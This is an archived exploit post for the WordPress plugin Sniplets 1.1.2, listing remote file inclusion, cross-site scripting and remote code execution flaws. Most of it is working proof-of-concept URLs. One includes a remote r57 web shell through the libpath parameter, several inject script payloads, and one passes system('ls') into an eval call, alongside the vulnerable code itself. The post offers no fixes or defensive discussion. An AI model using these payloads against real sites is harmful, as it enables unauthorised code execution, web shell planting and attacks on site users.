Wordpress Plugin Sniplets 1.1.2 (RFI/XSS/RCE) Multiple Vulnerabilities

2008-02-28T00:00:00
ID SSV:8175
Type seebug
Reporter Root
Modified 2008-02-28T00:00:00

Description

No description provided by source.

                                        
                                            
                                                ###############################################################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities  RFI/XSS/RCE
###############################################################

*** by Florinu              ------------        djflorinu[at]yahoo[dot]com ***
1) Remote File Inclusion
File: /modules/syntax_highlight.php
Register Globals must to be: ON
Vuln code:
<?php
/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");
Poc:
http://victim.com/wordpress/wp-content/plugins/sniplets/modules/syntax_h
ighlight.php?libpath=http://localhost/r57.txt?
2) Cross-Site Scripting
Register Globals must to be: ON
http://victim.com/wordpress/wp-content/plugins/sniplets/view/sniplets/wa
rning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.com/wordpress/wp-content/plugins/sniplets/view/sniplets/no
tice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.com/wordpress/wp-content/plugins/sniplets/view/sniplets/in
set.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.com/wordpress/wp-content/plugins/sniplets/view/admin/subme
nu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.com/wordpress/wp-content/plugins/sniplets/modules/execute.
php?text=%3Cli%3E
Register Globalsmust to be: Off
Vuln Line:(3) <input type="hidden" name="page" value="<?php echo
$_GET['page'] ?>"/>
http://victim.com/wordpress/wp-content/plugins/sniplets/view/admin/pager
.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
3) Remote Code Execution
Register Globals must to be: ON
Code:
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
$text = '?>'.$text;
eval ('?>'.$text);
?>
Poc:
http://victim.com/wordpress/wp-content/plugins/sniplets/modules/execute.
php?text=%3C?php%20system(%22ls%22);

***Note***  Thanks to all my friends from Romenien Security Team , and my best friend Sisqo